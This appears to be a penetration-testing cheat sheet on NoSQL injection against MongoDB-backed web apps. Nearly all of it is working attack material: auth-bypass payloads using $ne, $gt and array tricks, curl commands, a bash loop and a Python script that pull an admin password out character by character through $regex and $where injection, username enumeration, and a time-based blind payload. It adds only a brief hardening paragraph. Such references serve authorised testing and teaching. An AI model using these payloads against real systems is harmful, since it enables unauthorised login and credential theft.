NoSQL Injection
NoSQL injection against MongoDB-backed apps: auth bypass with operators like $ne/$gt, blind data extraction with $regex, and mass array bypass. JSON body and form-encoded variants.
Detection
Step 1 — Trigger a syntax error
Inject a single quote into every parameter (URL query, form field, JSON value) and observe the response:
category=Gifts'
In Burp Proxy, intercept the request and send to Repeater. Inject ' into the target parameter and press Ctrl+U to URL-encode. A changed response — error message, empty results, different status code — indicates the input reaches a NoSQL query.
Step 2 — Confirm injection with string concatenation
category=Gifts'+'
If the response returns the same results as category=Gifts → string concatenation was evaluated server-side → confirmed injection.
Step 3 — Boolean condition test
False condition (should return no results or fewer):
category=Gifts' && 0 && 'x
True condition (should return normal results):
category=Gifts' && 1 && 'x
URL-encode both (Ctrl+U in Repeater). If false returns fewer items and true returns normal items → boolean injection confirmed.
Step 4 — Exploit with always-true operator
category=Gifts'||1||'
This evaluates to true for every document — returns all records including hidden/unreleased ones.
Auth bypass
When a web app passes user input directly into a MongoDB query, operators replace the expected value.
JSON body (most common in API logins):
curl -s http://<TARGET>/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":{"$ne":null}}'
$gt variant (empty string is less than any real password):
curl -s http://<TARGET>/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":{"$gt":""}}'
Form-encoded variant (classic web form):
username=admin&password[$ne]=x
Array bypass (some frameworks accept arrays and skip type checks):
username=admin&password[]=
Blind data extraction
Extract field values character by character with $regex. Test whether the password starts with each character — a different response (timing, length, content) reveals a match.
curl -s http://<TARGET>/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":{"$regex":"^a.*"}}'
Automate with a loop (bash):
for c in {a..z} {0..9}; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://<TARGET>/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^$c.*\"}}");
echo "$c: $code";
done
Username enumeration
Bypass with a known password and iterate usernames:
curl -s http://<TARGET>/login \
-H 'Content-Type: application/json' \
-d '{"username":{"$ne":null},"password":"wrongpassword"}'
Regex on username field:
curl -s http://<TARGET>/login \
-H 'Content-Type: application/json' \
-d '{"username":{"$regex":"^adm.*"},"password":{"$ne":null}}'
JavaScript injection ($where)
If the app uses $where with unsanitised input:
username=admin&password=x%27%7C%7Cthis.password.match(%2F.*%2F)%7C%7C%27
Equivalent JSON:
{"username": "admin", "$where": "this.password.length > 0"}
Hardening
Validate and cast all user input before passing to queries. Use an ODM (Mongoose) with strict schemas. Never pass raw request objects into find()/findOne().
Server-Side JavaScript Injection (SSJI) via $where
MongoDB’s $where operator evaluates a JavaScript expression server-side. Injecting into a $where query achieves auth bypass and blind data extraction without any MongoDB operator characters.
Auth bypass
# If the app builds: db.users.find({$where: "this.username == '" + input + "'"})
username=admin" || true || "1"=="1
Resulting expression:
this.username == 'admin" || true || "1"=="1'
// Returns all documents (true always)
JSON body equivalent:
{"username": "admin", "password": {"$where": "'' == '' || true"}}
Blind data extraction via character-by-character match
// Inject into username field (URL-encoded):
// ' || (this.username.match('^a.*')) || '1'=='2
username=admin' || (this.username.match('^H.*')) || '1'=='2
If the response differs (user found vs not found) → the username starts with H.
Python script to extract the admin password:
import requests, string
URL = "http://TARGET/login"
charset = string.ascii_letters + string.digits + "_-@."
known = ""
while True:
found = False
for c in charset:
# Escape special regex chars
pattern = f'^{known}{c}.*'
payload = f"admin' || (this.password.match('{pattern}')) || '1'=='2"
r = requests.post(URL, data={'username': payload, 'password': 'wrong'})
# Adjust condition to match "found" vs "not found" in your app
if "Invalid credentials" not in r.text and r.status_code == 200:
known += c
print(f"Found so far: {known}")
found = True
break
if not found:
print(f"Final: {known}")
break
Time-based blind (sleep loop)
// Inject: ' || (function(){var d=new Date();while(new Date()-d<5000){}return true;})() || '1'=='2
5-second delay = injection executed.